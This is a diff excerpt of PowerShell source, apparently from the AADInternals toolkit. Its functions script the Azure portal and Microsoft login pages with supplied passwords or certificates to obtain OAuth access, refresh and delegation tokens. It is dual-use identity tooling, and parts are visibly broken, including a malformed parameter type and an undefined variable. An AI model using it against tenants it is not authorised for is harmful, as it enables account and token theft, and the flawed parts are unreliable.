||||
Write-Verbose "COOKIE [$Domain]: $webCookie"
|
||||
}
|
||||
}
|
||||
}
|
||||
else # login.microsoftonline.com:
|
||||
{
|
||||
# Split the cookie string
|
||||
$SetCookie = $SetCookieHeader.Replace("HttpOnly","|").Split("|")
|
||||
foreach($Cookie in $SetCookie)
|
||||
{
|
||||
# Split the individual cookie and remove possible trailing comma
|
||||
$Cookie=($Cookie.Split(";")[0]).Replace(',','')
|
||||
if(![string]::IsNullOrEmpty($Cookie))
|
||||
{
|
||||
$webCookie = New-Object System.Net.Cookie
|
||||
$webCookie.Name = $Cookie.Split("=")[0]
|
||||
$webCookie.Value = $Cookie.Substring($webCookie.Name.Length+1)
|
||||
$webCookie.Domain = $Domain
|
||||
$session.Cookies.Add($webCookie)
|
||||
Write-Verbose "COOKIE [$Domain]: $webCookie"
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
return $session
|
||||
}
|
||||
}
|
||||
|
||||
# Creates a web session with given cookie header
|
||||
function Create-WebSession2
|
||||
{
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[System.Security.]$Headers,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[string]$Domain
|
||||
)
|
||||
Process
|
||||
{
|
||||
$session = New-Object Microsoft.PowerShell.Commands.WebRequestSession
|
||||
|
||||
# Split the cookie string
|
||||
$SetCookie = $SetCookieHeader
|
||||
$SetCookie = $SetCookie.Replace("HttpOnly","|").Replace("HTTPOnly","|").Split("|")
|
||||
foreach($Cookie in $SetCookie)
|
||||
{
|
||||
# Split the individual cookie and remove possible trailing comma
|
||||
$Cookie=($Cookie.Split(";")[0]).Replace(',','')
|
||||
if(![string]::IsNullOrEmpty($Cookie))
|
||||
{
|
||||
$webCookie = New-Object System.Net.Cookie
|
||||
$webCookie.Name = $Cookie.Split("=")[0]
|
||||
$webCookie.Value = $Cookie.Split("=")[1]
|
||||
$webCookie.Domain = $Domain
|
||||
$session.Cookies.Add($webCookie)
|
||||
}
|
||||
|
||||
}
|
||||
return $session
|
||||
}
|
||||
}
|
||||
|
||||
# Gets the access token for Azure Management API
|
||||
# Uses totally different flow than other access tokens.
|
||||
# Oct 23rd 2018
|
||||
# TODO: Add support for form based & SAML authentication
|
||||
function Get-AccessTokenForAzureMgmtAPI
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Gets OAuth Access Token for Azure Management API
|
||||
|
||||
.DESCRIPTION
|
||||
Gets OAuth Access Token for Azure Management API
|
||||
|
||||
.Parameter Credentials
|
||||
Credentials of the user.
|
||||
|
||||
.Example
|
||||
PS C:\>$cred=Get-Credential
|
||||
PS C:\>Get-AADIntAccessTokenForAzureMgmtAPI -Credentials $cred
|
||||
#>
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter()]
|
||||
[System.Management.Automation.PSCredential]$Credentials,
|
||||
[Parameter()]
|
||||
[Switch]$SaveToCache
|
||||
)
|
||||
Process
|
||||
{
|
||||
$accessToken=""
|
||||
$refreshToken=""
|
||||
# Check if we got credentials
|
||||
if([string]::IsNullOrEmpty($Credentials) -and [string]::IsNullOrEmpty($SAMLToken))
|
||||
{
|
||||
# No credentials given, so prompt for credentials
|
||||
$tokens = Prompt-AzureADCredentials
|
||||
|
||||
$accessToken = $tokens["access_token"]
|
||||
$refreshToken = $tokens["refresh_token"]
|
||||
}
|
||||
else
|
||||
{
|
||||
$userName = $Credentials.UserName
|
||||
$password = $credentials.GetNetworkCredential().Password
|
||||
|
||||
# Step 1: Go to portal.azure.com to get cookies and authentication url
|
||||
$headers=@{
|
||||
"Sec-Fetch-Dest" = "script"
|
||||
"Sec-Fetch-Site" = "same-origin"
|
||||
"Sec-Fetch-Mode" = "no-cors"
|
||||
"Referer"="https://portal.azure.com"
|
||||
|
||||
}
|
||||
$response = Invoke-WebRequest -UseBasicParsing -uri "https://portal.azure.com/signin/idpRedirect.js/?feature.settingsportalinstance=&feature.refreshtokenbinding=true&feature.usemsallogin=true&feature.snivalidation=true&feature.setsamesitecookieattribute=true&feature.argsubscriptions=&feature.showservicehealthalerts=&idpRedirectCount=0" -Headers $headers
|
||||
$html=$response.Content
|
||||
$s=$html.IndexOf('https://login.microsoftonline.com')
|
||||
$e=$html.IndexOf('"',$s)
|
||||
$url=$html.Substring($s,$e-$s)
|
||||
$azureWebSession = Create-WebSession -SetCookieHeader $response.Headers.'Set-Cookie' -Domain "portal.azure.com"
|
||||
|
||||
# Step 2: Go to login.microsoftonline.com to get configuration and cookies
|
||||
$response = Invoke-WebRequest -UseBasicParsing -uri $url -Headers @{Cookie="x-ms-gateway-slice=004; stsservicecookie=ests; AADSSO=NANoExtension; SSOCOOKIEPULLED=1"}
|
||||
$html = $response.Content
|
||||
|
||||
$s=$html.IndexOf('$Config=')
|
||||
$e=$html.IndexOf('};',$s+8)
|
||||
$config=$html.Substring($s+8,$e-$s-7) | ConvertFrom-Json
|
||||
$MSOnlineComwebSession = Create-WebSession -SetCookieHeader $response.Headers.'Set-Cookie' -Domain "login.microsoftonline.com"
|
||||
|
||||
# Step3: Get user information, including Flow Token
|
||||
$userInfo=Get-CredentialType -UserName $userName -FlowToken $config.sFT
|
||||
|
||||
# LOGIN.LIVE.COM
|
||||
if($userInfo.EstsProperties.DomainType -eq 2) # =live account
|
||||
{
|
||||
# Step L1: Go to login.live.com to get configuration and cookies
|
||||
$response = Invoke-WebRequest -UseBasicParsing -uri $config.urlGoToAADError
|
||||
$html = $response.Content
|
||||
|
||||
$s=$html.IndexOf('ServerData =')
|
||||
$e=$html.IndexOf('};',$s+13)
|
||||
$config=$html.Substring($s+13,$e-$s-12)
|
||||
|
||||
# ConvertFrom-Json is caseinsensitive so need to use this one
|
||||
$config = (New-Object -TypeName System.Web.Script.Serialization.JavaScriptSerializer -Property @{MaxJsonLength=67108864}).DeserializeObject($config)
|
||||
|
||||
$liveWebSession = Create-WebSession -SetCookieHeader $response.Headers.'Set-Cookie' -Domain "login.live.com"
|
||||
|
||||
$sFTTag= [xml]$config.sFTTag
|
||||
$PPFT = $sFTTag.SelectSingleNode("//input[@name='PPFT']").value
|
||||
|
||||
|
||||
# Step L2: Login to login.live.com
|
||||
$body=@{
|
||||
"login" = $userName
|
||||
"loginFmt" = $userName
|
||||
"i13"="0"
|
||||
"type"="11"
|
||||
"LoginOptions"="3"
|
||||
"passwd"=$password
|
||||
"ps"="2"
|
||||
"canary"=""
|
||||
"ctx"=""
|
||||
"NewUser"="1"
|
||||
"fspost"="0"
|
||||
"i21"="0"
|
||||
"CookieDisclosure"="1"
|
||||
"IsFidoSupported"="1"
|
||||
"hpgrequestid"=""
|
||||
"PPSX"="Pa"
|
||||
"PPFT"=$PPFT
|
||||
"i18"="__ConvergedLoginPaginatedStrings|1,__OldConvergedLogin_PCore|1,"
|
||||
"i2"="1"
|
||||
}
|
||||
$headers=@{
|
||||
"User-Agent"="Mozilla/5.0 (Windows NT 10.0; Win64; x64)"
|
||||
"Upgrade-Insecure-Requests" = "1"
|
||||
|
||||
}
|
||||
|
||||
$response = Invoke-WebRequest -UseBasicParsing -Uri $config.urlPost -Method Post -ContentType "application/x-www-form-urlencoded" -Body $body -Headers $headers -WebSession $liveWebSession
|
||||
$html = $response.Content
|
||||
|
||||
# No well formed xml, so need to do some tricks.. First, find the form start and end tags
|
||||
$s=$html.IndexOf("<form")
|
||||
$e=$html.IndexOf("</form>")
|
||||
$form = $html.Substring($s,$e-$s) # Strip the form end tag
|
||||
# End all tags
|
||||
$form=$form.replace('">','"/>')
|
||||
# Add start and end tags
|
||||
$form="<html>$form</html>"
|
||||
|
||||
$html=[xml]$form
|
||||
|
||||
$fmHF = $html.SelectSingleNode("//form[@name='fmHF']").action
|
||||
$code = $html.SelectSingleNode("//input[@name='code']").value
|
||||
$state = $html.SelectSingleNode("//input[@name='state']").value
|
||||
|
||||
|
||||
# Step L3: Login to login.microsoftonline.com with code and state
|
||||
$body = @{
|
||||
"code" = $code
|
||||
"state" = $state
|
||||
}
|
||||
$response = Invoke-WebRequest -UseBasicParsing -Uri $fmHF -Method Post -ContentType "application/x-www-form-urlencoded" -Body $body -Headers $headers -WebSession $MSOnlineComwebSession
|
||||
$MSOnlineComwebSession = Create-WebSession -SetCookieHeader $response.Headers.'Set-Cookie' -Domain "login.microsoftonline.com"
|
||||
$html = $response.Content
|
||||
$s=$html.IndexOf('$Config=')
|
||||
$e=$html.IndexOf('};',$s+8)
|
||||
$config=$html.Substring($s+8,$e-$s-7) | ConvertFrom-Json
|
||||
|
||||
|
||||
# Step L4: Get code, id_token, and state information
|
||||
$body=@{
|
||||
"LoginOptions"="0"
|
||||
"flowToken"=$config.sFT
|
||||
"canary"=$config.canary
|
||||
"ctx"=$config.sCtx
|
||||
"hpgrequestid"=(New-Guid).ToString()
|
||||
}
|
||||
$response = Invoke-WebRequest -UseBasicParsing -Uri "https://login.microsoftonline.com/kmsi" -Method Post -ContentType "application/x-www-form-urlencoded" -Body $body -Headers $headers -WebSession $MSOnlineComwebSession
|
||||
$MSOnlineComwebSession = Create-WebSession -SetCookieHeader $response.Headers.'Set-Cookie' -Domain "login.microsoftonline.com"
|
||||
$html = [xml]$response.Content
|
||||
$code = $html.SelectSingleNode("//input[@name='code']").value
|
||||
$id_token = $html.SelectSingleNode("//input[@name='id_token']").value
|
||||
$state = $html.SelectSingleNode("//input[@name='state']").value
|
||||
$session_state = $html.SelectSingleNode("//input[@name='session_state']").value
|
||||
|
||||
# Step L5: Sign in to portal.azure.com to get redirect URL
|
||||
$body=@{
|
||||
"code"= $code
|
||||
"id_token" = $id_token
|
||||
"state" = $state
|
||||
"session_state" = $session_state
|
||||
}
|
||||
$response = Invoke-WebRequest -UseBasicParsing -Uri "https://portal.azure.com/signin/index/" -Method Post -ContentType "application/x-www-form-urlencoded" -Body $body -Headers $headers -WebSession $azureWebSession
|
||||
$azureWebSession = Create-WebSession -SetCookieHeader $response.Headers.'Set-Cookie' -Domain "portal.azure.com"
|
||||
$html=$response.Content
|
||||
$s=$html.IndexOf('MsPortalImpl.redirectToUri("')
|
||||
$e=$html.IndexOf('")',$s)
|
||||
$url=$html.Substring($s+28,$e-$s-28)
|
||||
|
||||
# Step L6: Go to portal.azure.com to get another redirect URL
|
||||
$response = Invoke-WebRequest -UseBasicParsing -Uri $url -Method Get -Headers $headers -WebSession $azureWebSession
|
||||
$azureWebSession = Create-WebSession -SetCookieHeader $response.Headers.'Set-Cookie' -Domain "portal.azure.com"
|
||||
$html=$response.Content
|
||||
$s=$html.IndexOf('https://login.microsoftonline.com')
|
||||
$e=$html.IndexOf('"',$s)
|
||||
$url=$html.Substring($s,$e-$s)# |ConvertFrom-Json
|
||||
|
||||
# Step L7: Login to login.microsoftonline.com (again) using the received url to get code etc.
|
||||
$response = Invoke-WebRequest -UseBasicParsing -Uri $url -Method Get -ContentType "application/x-www-form-urlencoded" -Headers $headers -WebSession $MSOnlineComwebSession
|
||||
$MSOnlineComwebSession = Create-WebSession -SetCookieHeader $response.Headers.'Set-Cookie' -Domain "login.microsoftonline.com"
|
||||
$html = [xml]$response.Content
|
||||
$code = $html.SelectSingleNode("//input[@name='code']").value
|
||||
$id_token = $html.SelectSingleNode("//input[@name='id_token']").value
|
||||
$state = $html.SelectSingleNode("//input[@name='state']").value
|
||||
$session_state = $html.SelectSingleNode("//input[@name='session_state']").value
|
||||
$url = $html.SelectSingleNode("//form[@name='hiddenform']").action
|
||||
|
||||
# Step L8: Sign in to portal.azure.com to get OAuth token
|
||||
$body=@{
|
||||
"code"= $code
|
||||
"id_token" = $id_token
|
||||
"state" = $state
|
||||
"session_state" = $session_state
|
||||
}
|
||||
$response = Invoke-WebRequest -UseBasicParsing -Uri $url -Method Post -ContentType "application/x-www-form-urlencoded" -Body $body -Headers $headers -WebSession $azureWebSession
|
||||
$azureWebSession = Create-WebSession -SetCookieHeader $response.Headers.'Set-Cookie' -Domain "portal.azure.com"
|
||||
|
||||
}
|
||||
else # LOGIN.MICROSOFTONLINE.COM
|
||||
{
|
||||
|
||||
# Step M1: Login to login.microsoftonline.com
|
||||
$body=@{
|
||||
"login" = $userName
|
||||
"loginFmt" = $userName
|
||||
"i13"="0"
|
||||
"type"="11"
|
||||
"LoginOptions"="3"
|
||||
"passwd"=$password
|
||||
"ps"="2"
|
||||
"flowToken"=$userInfo.FlowToken
|
||||
"canary"=$config.canary
|
||||
"ctx"=$config.sCtx
|
||||
"NewUser"="1"
|
||||
"fspost"="0"
|
||||
"i21"="0"
|
||||
"CookieDisclosure"="1"
|
||||
"IsFidoSupported"="1"
|
||||
"hpgrequestid"=(New-Guid).ToString()
|
||||
}
|
||||
$headers=@{
|
||||
"User-Agent"="Mozilla/5.0 (Windows NT 10.0; Win64; x64)"
|
||||
"Upgrade-Insecure-Requests" = "1"
|
||||
|
||||
}
|
||||
$response = Invoke-WebRequest -UseBasicParsing -Uri "https://login.microsoftonline.com/common/login" -Method Post -ContentType "application/x-www-form-urlencoded" -Body $body -Headers $headers -WebSession $MSOnlineComwebSession
|
||||
$MSOnlineComwebSession = Create-WebSession -SetCookieHeader $response.Headers.'Set-Cookie' -Domain "login.microsoftonline.com"
|
||||
$html = $response.Content
|
||||
$s=$html.IndexOf('$Config=')
|
||||
$e=$html.IndexOf('};',$s+8)
|
||||
$config=$html.Substring($s+8,$e-$s-7) | ConvertFrom-Json
|
||||
$MSOnlineComwebSession = Create-WebSession -SetCookieHeader $response.Headers.'Set-Cookie' -Domain "login.microsoftonline.com"
|
||||
|
||||
# Step M2: Get code, id_token, and state information
|
||||
$body=@{
|
||||
"LoginOptions"="0"
|
||||
"flowToken"=$config.sFT
|
||||
"canary"=$config.canary
|
||||
"ctx"=$config.sCtx
|
||||
"hpgrequestid"=(New-Guid).ToString()
|
||||
}
|
||||
$response = Invoke-WebRequest -UseBasicParsing -Uri "https://login.microsoftonline.com/kmsi" -Method Post -ContentType "application/x-www-form-urlencoded" -Body $body -Headers $headers -WebSession $MSOnlineComwebSession
|
||||
$MSOnlineComwebSession = Create-WebSession -SetCookieHeader $response.Headers.'Set-Cookie' -Domain "login.microsoftonline.com"
|
||||
$html = [xml]$response.Content
|
||||
$code = $html.SelectSingleNode("//input[@name='code']").value
|
||||
$id_token = $html.SelectSingleNode("//input[@name='id_token']").value
|
||||
$state = $html.SelectSingleNode("//input[@name='state']").value
|
||||
$session_state = $html.SelectSingleNode("//input[@name='session_state']").value
|
||||
|
||||
# Step M3: Sign in to portal.azure.com
|
||||
$body=@{
|
||||
"code"= $code
|
||||
"id_token" = $id_token
|
||||
"state" = $state
|
||||
"session_state" = $session_state
|
||||
}
|
||||
$response = Invoke-WebRequest -UseBasicParsing -Uri "https://portal.azure.com/signin/index/" -Method Post -ContentType "application/x-www-form-urlencoded" -Body $body -Headers $headers -WebSession $azureWebSession
|
||||
}
|
||||
|
||||
# Get the OAuth token
|
||||
$html=$response.Content
|
||||
|
||||
$s=$html.IndexOf('{"oAuthToken":')
|
||||
$e=$html.IndexOf('}}',$s)
|
||||
$token=$html.Substring($s,$e-$s+2) |ConvertFrom-Json
|
||||
|
||||
# Return
|
||||
$accessToken = $token.oAuthToken.authHeader.Split(" ")[1]
|
||||
$refreshToken = $token.oAuthToken.refreshToken
|
||||
|
||||
}
|
||||
|
||||
# Save the tokens to cache
|
||||
if($SaveToCache)
|
||||
{
|
||||
Write-Verbose "ACCESS TOKEN: SAVE TO CACHE"
|
||||
$Script:tokens["$ClientId-https://graph.windows.net"] = $accessToken
|
||||
$Script:refresh_tokens["$ClientId-https://graph.windows.net"] = $refreshToken
|
||||
}
|
||||
else # Return
|
||||
{
|
||||
return $accessToken
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
# Obsolete since Nov 11th 2020
|
||||
# Gets the access token for Azure AD IAM API
|
||||
# Oct 24th 2018
|
||||
# TODO: Add support for form based & SAML authentication
|
||||
function Get-AccessTokenForAADIAMAPI2
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Gets OAuth Access Token for Azure AD IAM API
|
||||
|
||||
.DESCRIPTION
|
||||
Gets OAuth Access Token for Azure AD IAM API
|
||||
|
||||
.Parameter Credentials
|
||||
Credentials of the user.
|
||||
|
||||
.Example
|
||||
PS C:\>$cred=Get-Credential
|
||||
PS C:\>Get-AADIntAccessTokenForAADIAMAPI -Credentials $cred
|
||||
#>
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter()]
|
||||
[System.Management.Automation.PSCredential]$Credentials
|
||||
)
|
||||
Process
|
||||
{
|
||||
$AADAuth = Get-AccessTokenForAzureMgmtAPI -Credentials $Credentials -ExportTokenObject
|
||||
$token = Get-DelegationToken -ExtensionName Microsoft_AAD_IAM -AccessToken $AADAuth
|
||||
return $token.authHeader.Split(" ")[1]
|
||||
}
|
||||
}
|
||||
|
||||
# Get delegation token for the given extension
|
||||
function Get-DelegationToken
|
||||
{
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[ValidateSet('Microsoft_AAD_IAM')]
|
||||
[String]$ExtensionName,
|
||||
[Parameter(Mandatory=$False)]
|
||||
$ResourceName="self",
|
||||
[Parameter(Mandatory=$True)]
|
||||
$AccessToken
|
||||
)
|
||||
Process
|
||||
{
|
||||
# Check the expiration
|
||||
if(Is-AccessTokenExpired($AccessToken.access_token))
|
||||
{
|
||||
throw "AccessToken has expired"
|
||||
}
|
||||
|
||||
|
||||
$Headers=@{
|
||||
"x-ms-client-request-id" = (New-Guid).ToString()
|
||||
"x-ms-extension-flags" ='{"feature.advisornotificationdays":"30","feature.advisornotificationpercent":"100","feature.armtenants":"true","feature.artbrowse":"true","feature.azureconsole":"true","feature.checksdkversion":"true","feature.contactinfo":"true","feature.dashboardfilters":"false","feature.enableappinsightsmetricsblade":"true","feature.globalsearch":"true","feature.guidedtour":"true","feature.helpcontentenabled":"true","feature.helpcontentwhatsnewenabled":"true","feature.internalonly":"false","feature.irissurfacename":"AzurePortal_Notifications_PROD","feature.mergecoadmins":"true","feature.metricsv2ga":"true","feature.newsubsapi":"true","feature.npsintervaldays":"90","feature.npspercent":"3.0","feature.npsshowportaluri":"true","feature.sessionvalidity":"true","feature.searchnocache":"true","feature.subscreditcheck":"true","hubsextension_parameterseditor":"true","hubsextension_showpolicyhub":"true","feature.autosettings":"true","feature.azurehealth":"true","feature.blockbladeredirect":"Microsoft_Azure_Resources","feature.browsecuration":"default","feature.collapseblade":"true","feature.dashboardfiltersaddbutton":"false","feature.decouplesubs":"true","feature.disablebladecustomization":"true","feature.disabledextensionredirects":"","feature.enablee2emonitoring":"true","feature.enablemonitoringgroup":"true","feature.enableworkbooks":"true","feature.feedback":"true","feature.feedbackwithsupport":"true","feature.fullwidth":"true","feature.managevminbrowse":"true","feature.mgsubs":"true","feature.newautoscale":"true","feature.newtageditorblade":"true","feature.nps":"true","feature.pinnable_default_off":"true","feature.reservationsinbrowse":"true","feature.reservehozscroll":"true","feature.resourcehealth":"true","feature.seetemplate":"true","feature.showdecoupleinfobox":"true","feature.tokencaching":"true","feature.usealertsv2blade":"true","feature.usemdmforsql":"true","feature.usesimpleavatarmenu":"true","hubsextension_budgets":"true","hubsextension_costalerts":"false","hubsextension_costanalysis":"true","hubsextension_costrecommendations":"true","hubsextension_eventgrid":"true","hubsextension_isinsightsextensionavailable":"true","hubsextension_islogsbladeavailable":"true","hubsextension_isomsextensionavailable":"true","hubsextension_savetotemplatehub":"true","hubsextension_servicenotificationsblade":"true","hubsextension_showservicehealthevents":"true","microsoft_azure_marketplace_itemhidekey":"Citrix_XenDesktop_EssentialsHidden,Citrix_XenApp_EssentialsHidden,AzureProject"}'
|
||||
"x-ms-version" = "5.0.302.5601 (production#c19533145d.181011-0133) Signed"
|
||||
"X-Requested-With" = "XMLHttpRequest"
|
||||
"Referer" = "https://portal.azure.com/"
|
||||
"x-ms-client-session-id" = $Script:AADSessionId
|
||||
"Origin" = "https://portal.azure.com"
|
||||
"x-ms-effective-locale"="en.en-us"
|
||||
"Accept-Language" = "en"
|
||||
"User-Agent"="Mozilla/5.0 (Windows NT 10.0; Win64; x64)"
|
||||
"Cookie" ="browserId=6d84502d-b03c-433c-acec-d87e20449090"
|
||||
}
|
||||
|
||||
$Body=@{
|
||||
"extensionName" = $ExtensionName
|
||||
"portalAuthorization" = $AccessToken.refresh_token
|
||||
"resourceName" = $ResourceName
|
||||
"tenant" = Get-TenantId -AccessToken $AccessToken.access_token
|
||||
}
|
||||
# Call the API
|
||||
$response = Invoke-RestMethod -UseBasicParsing -Uri "https://portal.azure.com/api/DelegationToken?feature.tokencaching=true" -ContentType "application/json" -Method POST -Body ($Body | ConvertTo-Json) #-Headers $Headers -WebSession $Script:azureWebSession
|
||||
|
||||
# Return
|
||||
$response.value
|
||||
}
|
||||
}
|
||||
|
||||
# Calls the Azure AD IAM API
|
||||
function Call-AzureAADIAMAPI
|
||||
{
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$False)]
|
||||
$Body,
|
||||
[Parameter(Mandatory=$True)]
|
||||
$AccessToken,
|
||||
[Parameter(Mandatory=$True)]
|
||||
$Command,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[ValidateSet('Put','Get','Post','Delete')]
|
||||
[String]$Method="Get",
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$Version = "2.0"
|
||||
)
|
||||
Process
|
||||
{
|
||||
# Check the expiration
|
||||
if(Is-AccessTokenExpired($AccessToken))
|
||||
{
|
||||
throw "AccessToken has expired"
|
||||
}
|
||||
|
||||
$headers=@{
|
||||
"Authorization" = "Bearer $AccessToken"
|
||||
"X-Requested-With" = "XMLHttpRequest"
|
||||
"x-ms-client-request-id" = (New-Guid).ToString()
|
||||
}
|
||||
# Call the API
|
||||
$response = Invoke-RestMethod -UseBasicParsing -Uri "https://main.iam.ad.ext.azure.com/api/$command`?api-version=$Version" -ContentType "application/json; charset=utf-8" -Headers $headers -Method $Method -Body ($Body | ConvertTo-Json -Depth 5)
|
||||
|
||||
# Return
|
||||
if($response.StatusCode -eq $null)
|
||||
{
|
||||
return $response
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
# Calls the Azure Management API
|
||||
# Jul 11th 2019
|
||||
function Call-AzureManagementAPI
|
||||
{
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$False)]
|
||||
$Body,
|
||||
[Parameter(Mandatory=$True)]
|
||||
$AccessToken,
|
||||
[Parameter(Mandatory=$True)]
|
||||
$Command
|
||||
)
|
||||
Process
|
||||
{
|
||||
# Check the expiration
|
||||
if(Is-AccessTokenExpired($AccessToken))
|
||||
{
|
||||
throw "AccessToken has expired"
|
||||
}
|
||||
|
||||
$headers=@{
|
||||
"Authorization" = "Bearer $AccessToken"
|
||||
"X-Requested-With" = "XMLHttpRequest"
|
||||
"x-ms-client-request-id" = (New-Guid).ToString()
|
||||
}
|
||||
# Call the API
|
||||
$response=Invoke-RestMethod -UseBasicParsing -Uri "https://portal.azure.com/api/$command" -Method Post -Headers $headers
|
||||
|
||||
# Return
|
||||
return $response
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
||||
# Prompts for credentials and gets the access token
|
||||
# Supports MFA, federation, etc.
|
||||
# Jul 11th 2019
|
||||
function Prompt-AzureADCredentials
|
||||
{
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
)
|
||||
Process
|
||||
{
|
||||
# Set variables
|
||||
$auth_redirect="https://portal.azure.com/signin/index/"
|
||||
$url="https://portal.azure.com/"
|
||||
|
||||
# Create the form
|
||||
$form = Create-LoginForm -Url $url -auth_redirect $auth_redirect
|
||||
|
||||
# Show the form and wait for the return value
|
||||
if($form.ShowDialog() -ne "OK") {
|
||||
# Dispose the control
|
||||
$form.Controls[0].Dispose()
|
||||
Write-Verbose "Login cancelled"
|
||||
return $null
|
||||
}
|
||||
|
||||
# Dispose the control
|
||||
$form.Controls[0].Dispose()
|
||||
|
||||
# Get the access token from script scope variable
|
||||
$accessToken = $script:accessToken
|
||||
$script:accessToken = $null
|
||||
|
||||
# Return
|
||||
$accessToken
|
||||
}
|
||||
}
|
||||
Binary file not shown.
@@ -0,0 +1,276 @@
|
||||
|
||||
# Get's tokens using CBA
|
||||
# May 24th 2022
|
||||
function Get-AdminPortalAccessTokenUsingCBA
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Gets Access Tokens using CBA
|
||||
|
||||
.DESCRIPTION
|
||||
Gets Access Tokens using Certificate Based Authentication (CBA). Returns tokens for Portal and Business Store.
|
||||
Assumes that CN of the given certificate contains upn with domain name.
|
||||
|
||||
.Parameter PfxFileName
|
||||
Name of the certificate file to be used
|
||||
|
||||
.Parameter PfxPassword
|
||||
Password of the certificate file to be used
|
||||
|
||||
.Example
|
||||
Get-AADIntAccessTokenForAADGraph
|
||||
|
||||
.Example
|
||||
PS C:\>$tokens = Get-AADIntAdminPortalAccessTokenUsingCBA -PfxFileName .\my_cert.pfx -PfxPassword "my supersecret password"
|
||||
Logged in as user@company.com
|
||||
|
||||
PS C:\>Read-AADIntAccesstoken $tokens[0] | Select aud,iss,appid,amr | fl
|
||||
|
||||
aud : https://portal.office.com/
|
||||
iss : https://sts.windows.net/25dc721a-d37f-44ec-b8dc-cc5783e9ec56/
|
||||
appid : 00000006-0000-0ff1-ce00-000000000000
|
||||
amr : {rsa, mfa}
|
||||
|
||||
#>
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(ParameterSetName="File",Mandatory=$True)]
|
||||
[string]$PfxFileName,
|
||||
[Parameter(ParameterSetName="File",Mandatory=$False)]
|
||||
[string]$PfxPassword,
|
||||
[Parameter(ParameterSetName="Certificate",Mandatory=$True)]
|
||||
[System.Security.Cryptography.X509Certificates.X509Certificate2]$Certificate
|
||||
)
|
||||
Process
|
||||
{
|
||||
if($Certificate -eq $null)
|
||||
{
|
||||
$Certificate = Load-Certificate -FileName $PfxFileName -Password $PfxPassword -Exportable
|
||||
}
|
||||
$TenantId = Get-TenantID -Domain $certificate.SubjectName.Name.Split("@")[1]
|
||||
|
||||
# Create a web session
|
||||
$webSession = New-Object Microsoft.PowerShell.Commands.WebRequestSession
|
||||
$webSession.Cookies.Add((New-Object System.Net.Cookie("x-portal-routekey", "wuk", "/", "admin.microsoft.com")))
|
||||
|
||||
# Invoke the first request to get redirect url
|
||||
$response = Invoke-WebRequest -UseBasicParsing -Uri "https://admin.microsoft.com/login?ru=%2FAdminportal%2FHome%3F%26source%3Dapplauncher" -Method Get -WebSession $webSession -ErrorAction SilentlyContinue -MaximumRedirection 0
|
||||
$url = $response.Headers.'Location'
|
||||
|
||||
# Get the login parameters and cookies with the certificate
|
||||
$loginInfo = Get-LoginParametersUsingCBA -Url $url -TenantId $TenantId -Certificate $certificate -WebSession $webSession
|
||||
|
||||
# Send parameters to redirect_url
|
||||
$response2 = Invoke-RestMethod -UseBasicParsing -Uri "https://admin.microsoft.com/landing" -Method Post -Body $loginInfo.parameters -MaximumRedirection 0 -ErrorAction SilentlyContinue -WebSession $webSession
|
||||
|
||||
# Return an array of access tokens
|
||||
$retVal = @()
|
||||
$retVal += Get-AccessTokenUsingAdminAPI -TokenType PortalAT -WebSession $webSession
|
||||
$retVal += Get-AccessTokenUsingAdminAPI -TokenType BusinessStoreAT -WebSession $webSession
|
||||
|
||||
return $retVal
|
||||
}
|
||||
}
|
||||
|
||||
# Get's tokens using CBA
|
||||
# May 24th 2022
|
||||
function Get-PortalAccessTokenUsingCBA
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Gets Access Tokens using CBA
|
||||
|
||||
.DESCRIPTION
|
||||
Gets Access Tokens using Certificate Based Authentication (CBA).
|
||||
Returns tokens for Graph, Office search, Substrate, Loki, and Portal
|
||||
Assumes that CN of the given certificate contains upn with domain name.
|
||||
|
||||
.Parameter PfxFileName
|
||||
Name of the certificate file to be used
|
||||
|
||||
.Parameter PfxPassword
|
||||
Password of the certificate file to be used
|
||||
|
||||
.Example
|
||||
Get-AADIntAccessTokenForAADGraph
|
||||
|
||||
.Example
|
||||
PS C:\>$tokens = Get-AADIntPortalAccessTokenUsingCBA -PfxFileName .\my_cert.pfx -PfxPassword "my supersecret password"
|
||||
Logged in as user@company.com
|
||||
|
||||
PS C:\>Read-AADIntAccesstoken $tokens[0] | Select aud,iss,appid,amr | fl
|
||||
|
||||
aud : https://graph.microsoft.com
|
||||
iss : https://sts.windows.net/25dc721a-d37f-44ec-b8dc-cc5783e9ec56/
|
||||
appid : 4765445b-32c6-49b0-83e6-1d93765276ca
|
||||
amr : {rsa, mfa}
|
||||
#>
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(ParameterSetName="File",Mandatory=$True)]
|
||||
[string]$PfxFileName,
|
||||
[Parameter(ParameterSetName="File",Mandatory=$False)]
|
||||
[string]$PfxPassword,
|
||||
[Parameter(ParameterSetName="Certificate",Mandatory=$True)]
|
||||
[System.Security.Cryptography.X509Certificates.X509Certificate2]$Certificate
|
||||
)
|
||||
Process
|
||||
{
|
||||
if($Certificate -eq $null)
|
||||
{
|
||||
$Certificate = Load-Certificate -FileName $PfxFileName -Password $PfxPassword -Exportable
|
||||
}
|
||||
$TenantId = Get-TenantID -Domain $certificate.SubjectName.Name.Split("@")[1]
|
||||
|
||||
# Create a web session
|
||||
$webSession = New-Object Microsoft.PowerShell.Commands.WebRequestSession
|
||||
|
||||
# Invoke the first request to get redirect url
|
||||
